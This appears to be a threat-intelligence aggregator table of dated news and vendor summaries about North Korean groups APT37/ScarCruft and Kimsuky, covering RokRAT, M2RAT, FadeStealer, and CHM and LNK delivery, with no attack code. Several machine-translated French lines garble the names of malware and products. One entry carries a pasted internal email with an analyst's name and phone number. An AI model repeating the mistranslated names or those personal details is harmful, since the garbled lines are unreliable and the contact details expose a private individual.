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| Src | Date (GMT) | Titre | Description | Tags | Stories | Notes |
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2024-04-16 06:00:54 | De l'ingénierie sociale aux abus DMARC: Ta427 \\'s Art of Information Gathering From Social Engineering to DMARC Abuse: TA427\\'s Art of Information Gathering (lien direct) |
Key takeaways TA427 regularly engages in benign conversation starter campaigns to establish contact with targets for long-term exchanges of information on topics of strategic importance to the North Korean regime. In addition to using specially crafted lure content, TA427 heavily leverages think tank and non-governmental organization-related personas to legitimize its emails and increase the chances that targets will engage with the threat actor. To craftily pose as its chosen personas, TA427 uses a few tactics including DMARC abuse in concert with free email addresses, typosquatting, and private email account spoofing. TA427 has also incorporated web beacons for initial reconnaissance of its targets, establishing basic information like that the email account is active. Overview Proofpoint researchers track numerous state-sponsored and state-aligned threat actors. TA427 (also known as Emerald Sleet, APT43, THALLIUM or Kimsuky), a Democratic People\'s Republic of Korea (DPRK or North Korea) aligned group working in support of the Reconnaissance General Bureau, is particularly prolific in email phishing campaigns targeting experts for insight into US and the Republic of Korea (ROK or South Korea) foreign policy. Since 2023, TA427 has directly solicited foreign policy experts for their opinions on nuclear disarmament, US-ROK policies, and sanction topics via benign conversation starting emails. In recent months, Proofpoint researchers have observed (Figure 1) a steady, and at times increasing, stream of this activity. While our researchers have consistently observed TA427 rely on social engineering tactics and regularly rotating its email infrastructure, in December 2023 the threat actor began to abuse lax Domain-based Message Authentication, Reporting and Conformance (DMARC) policies to spoof various personas and, in February 2024, began incorporating web beacons for target profiling. It is this initial engagement, and the tactics successfully leveraged by TA427, which this blog is focused on. Figure 1. Volume of TA427 phishing campaigns observed between January 2023 and March 2024. Social engineering TA427 is a savvy social engineering expert whose campaigns are likely in support of North Korea\'s strategic intelligence collection efforts on US and ROK foreign policy initiatives. Based on the targets identified and the information sought, it is believed that TA427\'s goal is to augment North Korean intelligence and inform its foreign policy negotiation tactics (example Figure 2). TA427 is known to engage its targets for extended periods of time through a series of benign conversations to build a rapport with targets that can occur over weeks to months. They do so by constantly rotating which aliases are used to engage with the targets on similar subject matter. Figure 2. Example of TA427 campaign focused on US policy during an election year. Using timely, relevant lure content (as seen in Figure 3) customized for each victim, and often spoofing individuals in the DPRK research space with whom the victim is familiar to encourage engagement, targets are often requested to share their thoughts on these topics via email or a formal research paper or article. Malware or credential harvesting are never directly sent to the targets without an exchange of multiple messages, and based on Proofpoint visibility, rarely utilized by the threat actor. It is possible that TA427 can fulfill its intelligence requirements by directly asking targets for their opinions or analysis rather than from an infection. Additionally, insight gained from the correspondence is likely used to improve targeting of the victim organization and establish rapport for later questions and engagement. Figure 3. Timeline of real-world events based on international press reporting, side-by-side with Proofpoint observed subject lures. Lure content often includes invitations to attend events about North Korean policies regarding international affairs, questions regarding topics such as how deterr | Malware Tool Threat Conference | APT 37 APT 43 | ★★ |
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2023-09-08 00:55:10 | Redeyes (scarcruft) \\'s chm malware en utilisant le sujet de la version des eaux usées de Fukushima RedEyes (ScarCruft)\\'s CHM Malware Using the Topic of Fukushima Wastewater Release (lien direct) |
L'équipe d'analyse du centre d'intervention d'urgence (ASEC) AHNLAB a récemment découvert que le MAC MALW, qui est le CHM, qui estsupposé avoir été créé par le groupe de menaces Redeyes, est à nouveau distribué.La distribution de logiciels malveillants CHM fonctionne de la même manière que le logiciel malveillant & # 8220; CHM déguisé en e-mail de sécurité d'une société financière coréenne & # 8221; [1] couverte en mars de cette année et utilise également les mêmes commandes utilisées dans le & #.8220; 2.3.Persistance & # 8221; [2] Étape dans le processus d'attaque des redeyes ...
The AhnLab Security Emergency response Center (ASEC) analysis team has recently discovered that the CHM malware, which is assumed to have been created by the RedEyes threat group, is being distributed again. The CHM malware in distribution operates in a similar way to the “CHM Malware Disguised as Security Email from a Korean Financial Company”[1] covered in March of this year and also uses the same commands used in the “2.3. Persistence”[2] stage in the attack process of the RedEyes... |
Malware Threat | APT 37 | ★★ |
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2023-09-06 01:29:24 | Distribution de la porte dérobée via un LNK malveillant: redeyes (Scarcruft) Distribution of Backdoor via Malicious LNK: RedEyes (ScarCruft) (lien direct) |
Ahnlab Security Emergency Response Center (ASEC) a confirmé que le malware [1], qui était auparavant distribué dansLe format CHM, est maintenant distribué au format LNK.Ce logiciel malveillant exécute des scripts supplémentaires situés à une URL spécifique via le processus MSHTA.Il reçoit ensuite des commandes du serveur de la menace pour effectuer des comportements malveillants supplémentaires.L'acteur de menace a distribué le fichier LNK confirmé sur un site Web ordinaire en le téléchargeant aux côtés de logiciels malveillants dans un fichier compressé.Le LNK malveillant ...
AhnLab Security Emergency response Center (ASEC) has confirmed that malware [1], which was previously distributed in CHM format, is now being distributed in LNK format. This malware executes additional scripts located at a specific URL through the mshta process. It then receives commands from the threat actor’s server to carry out additional malicious behaviors. The threat actor has been distributing the confirmed LNK file on a regular website by uploading it alongside malware within a compressed file. The malicious LNK... |
Malware Threat | APT 37 | ★★★ |
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2023-06-21 21:46:00 | Les pirates de scarcruft exploitent un service habilement pour des attaques d'écoute furtive ScarCruft Hackers Exploit Ably Service for Stealthy Wiretapping Attacks (lien direct) |
L'acteur de menace nord-coréen connu sous le nom de Scarcruft a été observé à l'aide d'un malware malveillant de voleur d'informations avec des fonctionnalités de transition électronique sans papiers précédentes ainsi qu'une porte dérobée développée à l'aide de Golang qui exploite le service de messagerie habilement réel.
"L'acteur de menace a envoyé leurs commandes via la porte dérobée de Golang qui utilise le service habilement", le centre d'intervention d'urgence de la sécurité Ahnlab (
The North Korean threat actor known as ScarCruft has been observed using an information-stealing malware with previous undocumented wiretapping features as well as a backdoor developed using Golang that exploits the Ably real-time messaging service. "The threat actor sent their commands through the Golang backdoor that is using the Ably service," the AhnLab Security Emergency response Center ( |
Malware Threat | APT 37 | ★★ |
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2023-06-21 16:16:11 | Les pirates APT37 déploient de nouveaux logiciels malveillants FadesESEaler APT37 hackers deploy new FadeStealer eavesdropping malware (lien direct) |
Le groupe de piratage nord-coréen APT37 utilise une nouvelle \\ 'fadesaleler \' malveillants de volet d'informations contenant une fonction \\ 'wiraping \', permettant à l'acteur de menace de fouiner et d'enregistrer à partir des microphones victimes \\ '.[...]
The North Korean APT37 hacking group uses a new \'FadeStealer\' information-stealing malware containing a \'wiretapping\' feature, allowing the threat actor to snoop and record from victims\' microphones. [...] |
Malware Threat | APT 37 APT 37 | ★★ |
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2023-06-13 13:00:00 | CyberheistNews Vol 13 # 24 [Le biais de l'esprit \\] le prétexage dépasse désormais le phishing dans les attaques d'ingénierie sociale CyberheistNews Vol 13 #24 [The Mind\\'s Bias] Pretexting Now Tops Phishing in Social Engineering Attacks (lien direct) |
CyberheistNews Vol 13 #24 | June 13th, 2023
[The Mind\'s Bias] Pretexting Now Tops Phishing in Social Engineering Attacks
The New Verizon DBIR is a treasure trove of data. As we will cover a bit below, Verizon reported that 74% of data breaches Involve the "Human Element," so people are one of the most common factors contributing to successful data breaches. Let\'s drill down a bit more in the social engineering section.
They explained: "Now, who has received an email or a direct message on social media from a friend or family member who desperately needs money? Probably fewer of you. This is social engineering (pretexting specifically) and it takes more skill.
"The most convincing social engineers can get into your head and convince you that someone you love is in danger. They use information they have learned about you and your loved ones to trick you into believing the message is truly from someone you know, and they use this invented scenario to play on your emotions and create a sense of urgency. The DBIR Figure 35 shows that Pretexting is now more prevalent than Phishing in Social Engineering incidents. However, when we look at confirmed breaches, Phishing is still on top."
A social attack known as BEC, or business email compromise, can be quite intricate. In this type of attack, the perpetrator uses existing email communications and information to deceive the recipient into carrying out a seemingly ordinary task, like changing a vendor\'s bank account details. But what makes this attack dangerous is that the new bank account provided belongs to the attacker. As a result, any payments the recipient makes to that account will simply disappear.
BEC Attacks Have Nearly Doubled
It can be difficult to spot these attacks as the attackers do a lot of preparation beforehand. They may create a domain doppelganger that looks almost identical to the real one and modify the signature block to show their own number instead of the legitimate vendor.
Attackers can make many subtle changes to trick their targets, especially if they are receiving many similar legitimate requests. This could be one reason why BEC attacks have nearly doubled across the DBIR entire incident dataset, as shown in Figure 36, and now make up over 50% of incidents in this category.
Financially Motivated External Attackers Double Down on Social Engineering
Timely detection and response is crucial when dealing with social engineering attacks, as well as most other attacks. Figure 38 shows a steady increase in the median cost of BECs since 2018, now averaging around $50,000, emphasizing the significance of quick detection.
However, unlike the times we live in, this section isn\'t all doom and |
Spam Malware Vulnerability Threat Patching | Uber APT 37 ChatGPT ChatGPT APT 43 | ★★ |
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2023-05-09 20:02:00 | Anomali Cyber Watch: l'environnement virtuel personnalisé cache Fluorshe Anomali Cyber Watch: Custom Virtual Environment Hides FluHorse, BabyShark Evolved into ReconShark, Fleckpe-Infected Apps Add Expensive Subscriptions (lien direct) |
The various threat intelligence stories in this iteration of the Anomali Cyber Watch discuss the following topics: APT, Defense evasion, Infostealers, North Korea, Spearphishing, and Typosquatting. The IOCs related to these stories are attached to Anomali Cyber Watch and can be used to check your logs for potential malicious activity. 
Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed.
Trending Cyber News and Threat Intelligence
Deconstructing Amadey’s Latest Multi-Stage Attack and Malware Distribution
(published: May 5, 2023)
McAfee researchers have detected a multi-stage attack that starts with a trojanized wextract.exe, Windows executable used to extract files from a cabinet (CAB) file. It was used to deliver the AgentTesla, Amadey botnet, LockBit ransomware, Redline Stealer, and other malicious binaries. To avoid detection, the attackers use obfuscation and disable Windows Defender through the registry thus stopping users from turning it back on through the Defender settings.
Analyst Comment: Threat actors are always adapting to the security environment to remain effective. New techniques can still be spotted with behavioral analysis defenses and social engineering training. Users should report suspicious files with double extensions such as .EXE.MUI. Indicators associated with this campaign are available in the Anomali platform and users are advised to block these on their infrastructure.
MITRE ATT&CK: [MITRE ATT&CK] T1562.001: Disable or Modify Tools | [MITRE ATT&CK] T1555 - Credentials From Password Stores | [MITRE ATT&CK] T1486: Data Encrypted for Impact | [MITRE ATT&CK] T1027 - Obfuscated Files Or Information
Tags: malware:Amadey, malware-type:Botnet, malware:RedLine, malware:AgentTesla, malware-type:Infostealer, malware:LockBit, malware-type:Ransomware, abused:Wextract.exe, file-type:CAB, file-type:EXE, file-type:MUI, target-program:Windows Defender, target-system:Windows
Eastern Asian Android Assault – FluHorse
(published: May 4, 2023)
Active since May 2022, a newly-detected Android stealer dubbed FluHorse spreads mimicking popular apps or as a fake dating application. According to Check Point researchers, FluHorse was targeting East Asia (Taiwan and Vietnam) while remaining undetected for months. This stealthiness is achieved by sticking to minimal functions while also relying on a custom virtual machine that comes with the Flutter user interface software development kit. FluHorse is being distributed via emails that prompt the recipient to install the app and once installed, it asks for the user’s credit card or banking data. If a second factor authentication is needed to commit banking fraud, FluHorse tells the user to wait for 10-15 minutes while intercepting codes by installing a listener for all incoming SMS messages.
Analyst Comment: FluHorse\'s ability to remain undetected for months makes it a dangerous threat. Users should avoid installing applications following download links received via email or other messaging. Verify the app authenticity on the official com |
Malware Tool Threat | APT 37 APT 43 | ★★★ |
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2023-05-07 23:30:00 | AHNLAB EDR suit et répond contre le fichier de liaison (* .lnk) Distribution de Rokrat AhnLab EDR Tracks and Responds against Link File (*.lnk) Distributing RokRAT (lien direct) |
Ahnlab Security Emergency Response Center (ASEC) a partagé des informations concernant le groupe de menaces Redeyes (également connu sous le nom d'APT37, Scarcruft), qui a distribué CHM malware déguisé en e-mail de sécurité d'une société financière coréenne le mois dernier.Le fichier LNK contient une commande PowerShell et effectue un comportement malveillant sans la connaissance de l'individu qui utilise le fichier PDF normal en créant et en exécutant des fichiers de script ainsi que des fichiers normaux dans le chemin d'accès temporaire.Si un fichier LNK malveillant est injecté dans un ...
AhnLab Security Emergency response Center (ASEC) has shared information regarding the RedEyes threat group (also known as APT37, ScarCruft), who distributed CHM Malware Disguised as Security Email from a Korean Financial Company last month. The LNK file contains a PowerShell command and performs malicious behavior without the knowledge of the individual who uses the normal pdf file by creating and executing script files along with normal files in the temp path. If a malicious LNK file is injected into a... |
Malware Threat | APT 37 | ★★ |
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2023-05-02 12:24:00 | Scarcruft de la Corée du Nord déploie des logiciels malveillants Rokrat via des chaînes d'infection des fichiers LNK North Korea\\'s ScarCruft Deploys RokRAT Malware via LNK File Infection Chains (lien direct) |
L'acteur de menace nord-coréenne connue sous le nom de Scarcruft a commencé à expérimenter avec des fichiers LNK surdimensionnés comme voie de livraison pour les logiciels malveillants de Rokrat dès juillet 2022, le même mois, Microsoft a commencé à bloquer les macros entre les documents de bureau par défaut.
"Rokrat n'a pas changé de manière significative au fil des ans, mais ses méthodes de déploiement ont évolué, utilisant désormais des archives contenant des fichiers LNK qui initient
The North Korean threat actor known as ScarCruft began experimenting with oversized LNK files as a delivery route for RokRAT malware as early as July 2022, the same month Microsoft began blocking macros across Office documents by default. "RokRAT has not changed significantly over the years, but its deployment methods have evolved, now utilizing archives containing LNK files that initiate |
Malware Threat | APT 37 | ★★ |
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2023-05-01 23:16:00 | Anomali Cyber Watch: APT37 adopte les fichiers LNK, Charming Kitten utilise le bordereau d'implant Bellaciao, le cryptage de remappage d'octet unique Vipersoftx InfostEaler Anomali Cyber Watch: APT37 Adopts LNK Files, Charming Kitten Uses BellaCiao Implant-Dropper, ViperSoftX Infostealer Unique Byte Remapping Encryption (lien direct) |
Les diverses histoires de l'intelligence des menaces dans cette itération de l'anomali cyber watch discutent les sujets suivants: apt, Remapping, Cloud C2s, Infostalers, Iran, Corée du Nord, Rats, et vulnérabilités .Les CIO liés à ces histoires sont attachés à Anomali Cyber Watch et peuvent être utilisés pour vérifier vos journaux pour une activité malveillante potentielle.
Figure 1 - Diagrammes de résumé du CIO.Ces graphiques résument les CIO attachés à ce magazine et donnent un aperçu des menaces discutées.
Cyber News et Intelligence des menaces
Réaction en chaîne: Rokrat & rsquo; s.Lien manquant
(Publié: 1er mai 2023)
Depuis 2022, le groupe parrainé par le Nord-Korea APT37 (Group123, Ricochet Chollima) a principalement changé ses méthodes de livraison de Maldocs pour cacher des charges utiles à l'intérieur des fichiers LNK surdimensionnés.Vérifier les chercheurs a identifié plusieurs chaînes d'infection utilisées par le groupe de juillet 2022 à avril 2023. Celles-ci ont été utilisées pour livrer l'un des outils personnalisés de l'APT37 (Goldbackdoor et Rokrat), ou le malware de marchandises Amadey.Tous les leurres étudiés semblent cibler des personnes coréennes avec des sujets liés à la Corée du Sud.
Commentaire de l'analyste: Le passage aux chaînes d'infection basées sur LNK permet à APT37 de l'interaction utilisateur moins requise car la chaîne peut être déclenchée par un simple double clic.Le groupe continue l'utilisation de Rokrat bien triés qui reste un outil furtif avec ses couches supplémentaires de cryptage, le cloud C2 et l'exécution en mémoire.Les indicateurs associés à cette campagne sont disponibles dans la plate-forme Anomali et il est conseillé aux clients de les bloquerleur infrastructure.
mitre att & amp; ck: [mitre att & amp; ck] t1059.001: Powershell | [mitre att & amp; ck] t1055 - injection de processus | [mitre att & amp; ck] t1027 - fichiers ou informations obscurcis | [mitre att & amp; ck] t1105 - transfert d'outils d'entrée | [mitre att & amp; ck] t1204.002 - Exécution des utilisateurs: fichier malveillant | [mitre att & amp; ck] t1059.005 - commande et script interprète: visuel basique | [mitre att & amp; ck] t1140 - désobfuscate / décode ou informations | [mitre att & amp; ck] T1218.011 - Exécution par proxy binaire signée: Rundll32
Tags: malware: Rokrat, mitre-software-id: s0240, malware-Type: Rat, acteur: Groupe123, mitre-groupe: APT37, acteur: Ricochet Chollima, Country source: Corée du Nord, Country source: KP, Cible-Country: Corée du Sud, Cible-Country: KR, Type de fichier: Zip, déposer-Type: Doc, Fichier-Type: ISO, Fichier-Type: LNK, File-Type: Bat, File-Type: EXE, Fichier-Type: VBS, malware: Amadey,MALWARE: Goldbackdoor, Type de logiciels malveillants: porte dérobée, abusée: Pcloud, abusé: Cloud Yandex, abusé: OneDrive, abusé: & # 8203; & # 8203; Processeur de mots Hangul, abusé: themida, système cible: Windows
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Ransomware Malware Tool Vulnerability Threat Prediction Cloud | APT 37 APT 37 APT 35 | ★★ |
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2023-04-25 23:30:00 | ROKRAT Malware distribué via des fichiers LNK (* .lnk): redeyes (Scarcruft) RokRAT Malware Distributed Through LNK Files (*.lnk): RedEyes (ScarCruft) (lien direct) |
Ahnlab Security Emergency Response Center (ASEC) a confirmé que le groupe de menaces Redeyes (également connu sous le nom d'APT37, Scarcruft), qui a distribué CHM malware déguisé en e-mail de sécurité d'une société financière coréenne le mois dernier, a également récemment distribué les logiciels malveillants Rokrat via des fichiers LNK.Rokrat est un logiciel malveillant capable de collecter des informations d'identification des utilisateurs et de télécharger des logiciels malveillants supplémentaires.Le malware était autrefois distribué via des fichiers HWP et Word.Les fichiers LNK qui ont été découverts cette fois contiennent des commandes PowerShell qui peuvent effectuer des malveillants ...
AhnLab Security Emergency response Center (ASEC) confirmed that the RedEyes threat group (also known as APT37, ScarCruft), which distributed CHM Malware Disguised as Security Email from a Korean Financial Company last month, has also recently distributed the RokRAT malware through LNK files. RokRAT is malware that is capable of collecting user credentials and downloading additional malware. The malware was once distributed through HWP and Word files. The LNK files that were discovered this time contain PowerShell commands that can perform malicious... |
Malware Threat | APT 37 | ★★★ |
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2023-03-28 21:28:00 | Anomali Cyber Watch: Takeover comptable, APT, Banking Trojans, Chine, Cyberespionage, Inde, Malspam, Corée du Nord, Phishing, Skimmers, Ukraine et Vulnérabilités [Anomali Cyber Watch: Account takeover, APT, Banking trojans, China, Cyberespionage, India, Malspam, North Korea, Phishing, Skimmers, Ukraine, and Vulnerabilities] (lien direct) | Aucun Sélectionné Sauter vers le contenu à l'aide d'Anomali Inc Mail avec les lecteurs d'écran Yury 1 sur 52 ACW CONSEIL POLOZOV ACCORDS MAR 27 MAR, 2023, 10: 11 & # 8239; AM (1 jour) pour moi, marketing, recherche Cher Jarom etMarketing, ACW est prêt https://ui.thereatstream.com/tip/6397663 - Yury Polozov |Analyste de renseignement sur la menace de Sr. |ATR |www.anomali.com Téléphone: + 1-347-276-5554 3 pièces jointes et taureau;Scanné par gmail
& nbsp;
Anomali Cyber Watch: Spies amer sur l'énergie nucléaire chinoise, Kimsuky prend le contrôle de Google pour infecter les appareils Android connectés, les mauvaises cibles magiques occupées des parties de l'Ukraine, et plus encore.
Les diverses histoires de l'intelligence des menaces dans cette itération de l'anomali cyber watch discutent des sujets suivants: Takeover, APT, Banking Trojans, China, Cyberspionage, Inde, Malspam, North Corée, Phishing, Skimmers, Ukraine, et vulnérabilités .Les CIO liés à ces histoires sont attachés à Anomali Cyber Watch et peuvent être utilisés pour vérifier vos journaux pour une activité malveillante potentielle.
Figure 1 - Diagrammes de résumé du CIO.Ces graphiques résument les CIO attachés à ce magazine et donnent un aperçu des menaces discutées.
Cyber News et Intelligence des menaces
campagne de phishingCible l'industrie chinoise de l'énergie nucléaire
(Publié: 24 mars 2023)
Actif Depuis 2013, le groupe amer (T-APT-17) est soupçonné d'être parrainé par le gouvernement indien.Des chercheurs Intezer ont découvert une nouvelle campagne amère ciblant les universitaires, le gouvernement et d'autres organisations de l'industrie de l'énergie nucléaire en Chine.Les techniques sont cohérentes avec les campagnes amères observées précédemment.L'intrusion commence par un e-mail de phishing censé provenir d'un véritable employé de l'ambassade du Kirghizistan.Les pièces jointes malveillantes observées étaient soit des fichiers HTML (CHM) compilés à Microsoft, soit des fichiers Microsoft Excel avec des exploits d'éditeur d'équation.L'objectif des charges utiles est de créer de la persistance via des tâches planifiées et de télécharger d'autres charges utiles de logiciels malveillants (les campagnes amères précédentes ont utilisé le voleur d'identification du navigateur, le voleur de fichiers, le keylogger et les plugins d'outils d'accès à distance).Les attaquants se sont appuyés sur la compression LZX et la concaténation des cordes pour l'évasion de détection.
Commentaire de l'analyste: De nombreuses attaques avancées commencent par des techniques de base telles que des e-mails injustifiés avec une pièce jointe qui oblige l'utilisateur à l'ouvrir.Il est important d'enseigner l'hygiène de base en ligne à vos utilisateurs et la sensibilisation au phishing.Il est sûr de recommander de ne jamais ouvrir de fichiers CHM joints et de garder votre bureau MS Office entièrement mis à jour.Tous les indicateurs connus associés à cette campagne amère sont disponibles dans la plate-forme Anomali et il est conseillé aux clients de les bloquer sur leur infrastructure.
mitre att & amp; ck: [mitre att & amp; ck] t1589.002 - rassembler l'identité des victimesInformations: Adresses e-mail | [mitre att & amp; ck] t1566.001 -Phishing: attachement de espionnage | [mitre at |
Malware Tool Threat Cloud | APT 37 APT 43 | ★★ |
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2023-03-22 17:54:00 | Arsenal évolutif de Scarcruft \\: les chercheurs révèlent de nouvelles techniques de distribution de logiciels malveillants [ScarCruft\\'s Evolving Arsenal: Researchers Reveal New Malware Distribution Techniques] (lien direct) | L'acteur de menace persistante avancée nord-coréenne (APT) surnommé Scarcruft utilise des fichiers HTML (CHM) compilés compilés par Microsoft armé pour télécharger des logiciels malveillants supplémentaires.
Selon plusieurs rapports d'Ahnlab Security Emergency Response Center (ASEC), de Sekoia.io et de Zscaler, les résultats illustrent les efforts continus du groupe pour affiner et réorganiser ses tactiques pour contourner la détection.
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The North Korean advanced persistent threat (APT) actor dubbed ScarCruft is using weaponized Microsoft Compiled HTML Help (CHM) files to download additional malware. According to multiple reports from AhnLab Security Emergency response Center (ASEC), SEKOIA.IO, and Zscaler, the findings are illustrative of the group\'s continuous efforts to refine and retool its tactics to sidestep detection. " |
Malware Threat General Information Cloud | APT 37 | ★★ |
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2023-03-08 23:30:00 | CHM Malware Disguised as Security Email from a Korean Financial Company: Redeyes (Scarcruft) (lien direct) | The ASEC (AhnLab Security Emergency response Center) analysis team has discovered that the CHM malware, which is assumed to have been created by the RedEyes threat group (also known as APT37, ScarCruft), is being distributed to Korean users. The team has confirmed that the command used in the “2.3. Persistence” stage of the RedEyes group’s M2RAT malware attack, which was reported back in February, has the same format as the command used in this attack. This information, as well as... | Malware Threat Cloud | APT 37 | ★★ |
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2023-02-21 01:00:00 | HWP Malware Using the Steganography Technique: RedEyes (ScarCruft) (lien direct) | In January, the ASEC (AhnLab Security Emergency response Center) analysis team discovered that the RedEyes threat group (also known as APT37, ScarCruft) had been distributing malware by exploiting the HWP EPS (Encapsulated PostScript) vulnerability (CVE-2017-8291). This report will share the RedEyes group’s latest activity in Korea. 1. Overview The RedEyes group is known for targeting specific individuals and not corporations, stealing not only personal PC information but also the mobile phone data of their targets. A distinct characteristic of the... | Malware Vulnerability Threat Cloud | APT 37 | ★★★ |
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2023-02-15 20:29:00 | North Korea\'s APT37 Targeting Southern Counterpart with New M2RAT Malware (lien direct) | The North Korea-linked threat actor tracked as APT37 has been linked to a piece of new malware dubbed M2RAT in attacks targeting its southern counterpart, suggesting continued evolution of the group's features and tactics. APT37, also tracked under the monikers Reaper, RedEyes, Ricochet Chollima, and ScarCruft, is linked to North Korea's Ministry of State Security (MSS) unlike the Lazarus and | Malware Threat Cloud | APT 38 APT 37 | ★★ |
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2023-02-15 10:06:57 | RedEyes Hackers Adopts New Malware, Steals Data From Devices (lien direct) | The APT37 threat group targets people for intelligence gathering using the new elusive “M2RAT” malware and steganography. North Korea’s APT37, sometimes referred to as “RedEyes” or “ScarCruft,” is a hacker collective thought to be funded by the government. The hacker gang was observed in 2022 using Internet Explorer zero-day vulnerabilities to distribute a wide range […] | Malware Threat Cloud | APT 37 | ★★ |
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2023-02-14 17:37:57 | RedEyes hackers use new malware to steal data from Windows, phones (lien direct) | The APT37 threat group (aka 'RedEyes' or 'ScarCruft') has been spotted using a new evasive malware named 'M2RAT' along with steganography to attack specific individuals for intelligence collection. [...] | Malware Threat Cloud | APT 37 | ★★ |
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2022-11-30 13:59:28 | ESET Research : un groupe de pirates lié à la Corée du Nord vole des fichiers de valeur en s\'appuyant sur Google Drive (lien direct) | ESET Research : un groupe de pirates lié à la Corée du Nord vole des fichiers de valeur en s'appuyant sur Google Drive ● Les chercheurs d'ESET ont analysé Dolphin, une porte dérobée jusqu'à présent inconnue, utilisée par le groupe de pirates ScarCruft. ● Dolphin possède de nombreuses fonctionnalités d'espionnage, notamment de surveillance des lecteurs et des appareils portables, d'exfiltration de fichiers d'intérêt, d'enregistrement des frappes de clavier, de capture d'écran et de vol d'identifiants dans les navigateurs. ● Elle est uniquement déployée sur des cibles sélectionnées. Elle parcourt les lecteurs des systèmes compromis à la recherche de fichiers intéressants et les exfiltre vers Google Drive. ● ScarCruft, également connu sous le nom d'APT37 ou Reaper, est un groupe d'espionnage qui opère depuis au moins 2012. Il se concentre principalement sur la Corée du Sud. Les cibles de ScarCruft semblent être liées aux intérêts de la Corée du Nord. ● La porte dérobée est le malware final d'une attaque menée en plusieurs étapes au début de l'année 2021, qui se compose d'une attaque dite de " point d'eau " sur un journal en ligne sud-coréen, l'exploitation d'une vulnérabilité d'Internet Explorer, et une autre porte dérobée de ScarCruft appelée BLUELIGHT. ● Depuis la découverte initiale de Dolphin en avril 2021, les chercheurs d'ESET ont observé de multiples versions et améliorations de cette porte dérobée, dont l'ajout de techniques pour échapper à sa détection. ● La possibilité de modifier les paramètres des comptes Google et Gmail connectés des victimes afin d'en réduire la sécurité est une caractéristique notable des versions antérieures de Dolphin. - Malwares | Malware Cloud | APT 37 | ★★★ |
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2022-08-06 10:46:21 | CISO workshop slides (lien direct) | A glossy, nicely-constructed and detailed PowerPoint slide deck by Microsoft Security caught my beady this morning. The title 'CISO Workshop: Security Program and Strategy' with 'Your Name Here' suggests it might be a template for use in a workshop/course bringing CISOs up to speed on the governance, strategic and architectural aspects of information security, but in fact given the amount of technical detail, it appears to be aimed at informing IT/technology managers about IT or cybersecurity, specifically. Maybe it is intended for newly-appointed CISOs or more junior managers who aspire to be CISOs, helping them clamber up the pyramid (slide 87 of 142): | Malware Vulnerability Threat Patching Guideline Medical Cloud | Uber APT 38 APT 37 APT 28 APT 19 APT 15 APT 10 APT 34 Guam | |
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2022-08-02 15:17:00 | Anomali Cyber Watch: Velvet Chollima Steals Emails from Browsers, Austrian Mercenary Leverages Zero-Days, China-Sponsored Group Uses CosmicStrand UEFI Firmware Rootkit, and More (lien direct) | The various threat intelligence stories in this iteration of the Anomali Cyber Watch discuss the following topics: APT, Cyber mercenaries, Phishing, Rootkits, Spyware, and Vulnerabilities. The IOCs related to these stories are attached to Anomali Cyber Watch and can be used to check your logs for potential malicious activity.
Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed.
Trending Cyber News and Threat Intelligence
SharpTongue Deploys Clever Mail-Stealing Browser Extension “SHARPEXT”
(published: July 28, 2022)
Volexity researchers discovered SharpExt, a new malicious browser app used by the North-Korea sponsored Velvet Chollima (Kimsuky, SharpTongue, Thallium) group. SharpExt inspects and exfiltrates data from a victim's webmail (AOL or Gmail) account as they browse it. Velvet Chollima continues to add new features to the app, the latest known version (3.0) supports three browsers: Microsoft Edge, Google Chrome, and Whale, the latter almost exclusively used in South Korea. Following the initial compromise, Velvet Chollima deploy SharpExt and to avoid warning the victim they manually exfiltrate settings files to change the settings and generate a valid "super_mac" security check value. They also hide the newly opened DevTools window and any other warning windows such as a warning regarding extensions running in developer mode.
Analyst Comment: Velvet Chollima is known for its tactic of deploying malicious browser extensions, but in the past it was concentrating on stealing credentials instead of emails. The group continues aggressive cyberespionage campaigns exfiltrating military and industrial technologies from Europe, South Korea, and the US. Network defenders should monitor for suspicious instances of PowerShell execution, as well as for traffic to and from known Velvet Chollima infrastructure (available in Anomali Match).
MITRE ATT&CK: [MITRE ATT&CK] Browser Extensions - T1176 | [MITRE ATT&CK] Email Collection - T1114 | [MITRE ATT&CK] Command and Scripting Interpreter - T1059 | [MITRE ATT&CK] Hide Artifacts - T1564
Tags: SharpExt, Velvet Chollima, Kimsuky, SharpTongue, Thallium, APT, North Korea, source-country:KP, South Korea, target-country:KR, USA, target-country:US, target-region:Europe, AOL, Gmail, Edge, Chrome, Whale, PowerShell, VBS, Browser extension
Untangling KNOTWEED: European Private-Sector Offensive Actor Using 0-Day Exploits
(published: July 27, 2022)
Microsoft researchers detail activity of DSIRF, Austrian private-sector offensive actor (PSOA). In 2021, this actor, tracked as Knotweed, used four Windows and Adobe 0-day exploits. In 2022, DSIRF was exploiting another Adobe Reader vulnerability, CVE-2022-22047, which was patched in July 2022. DSIRF attacks rely on their malware toolset called Subzero. The initial downloader shellcode is executed from either the exploit chains or malicious Excel documents. It downloads a JPG image file with extra encrypted data, extracts, decrypts and loads to the memory the Corelump memory-only infostealer. For persistence, Corelump creates trojanized copies of legitimate Windows DLLs that se |
Malware Tool Vulnerability Threat Patching Guideline Cloud | APT 37 APT 28 | |
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2022-07-23 12:08:04 | North Korean hackers attack EU targets with Konni RAT malware (lien direct) | Threat analysts have uncovered a new campaign attributed to APT37, a North Korean group of hackers, targeting high-value organizations in the Czech Republic, Poland, and other European countries. [...] | Malware Threat Cloud | APT 37 | |
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2022-06-24 03:40:50 | Google Says ISPs Helped Attackers Infect Targeted Smartphones with Hermit Spyware (lien direct) | A week after it emerged that sophisticated mobile spyware dubbed Hermit was used by the government of Kazakhstan within its borders, Google said it has notified Android users of infected devices. Additionally, necessary changes have been implemented in Google Play Protect - Android's built-in malware defense service - to protect all users, Benoit Sevens and Clement Lecigne of Google Threat | Malware Cloud | APT 37 | |
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2022-06-17 20:00:33 | Experts link Hermit spyware to Italian surveillance firm RCS Lab and a front company (lien direct) | >Experts uncovered an enterprise-grade surveillance malware dubbed Hermit used to target individuals in Kazakhstan, Syria, and Italy since 2019. Lookout Threat Lab researchers uncovered enterprise-grade Android surveillance spyware, named Hermit, used by the government of Kazakhstan to track individuals within the country. The latest samples of this spyware were detected by the researchers in April 2022, four […] | Malware Threat Cloud | APT 37 | |
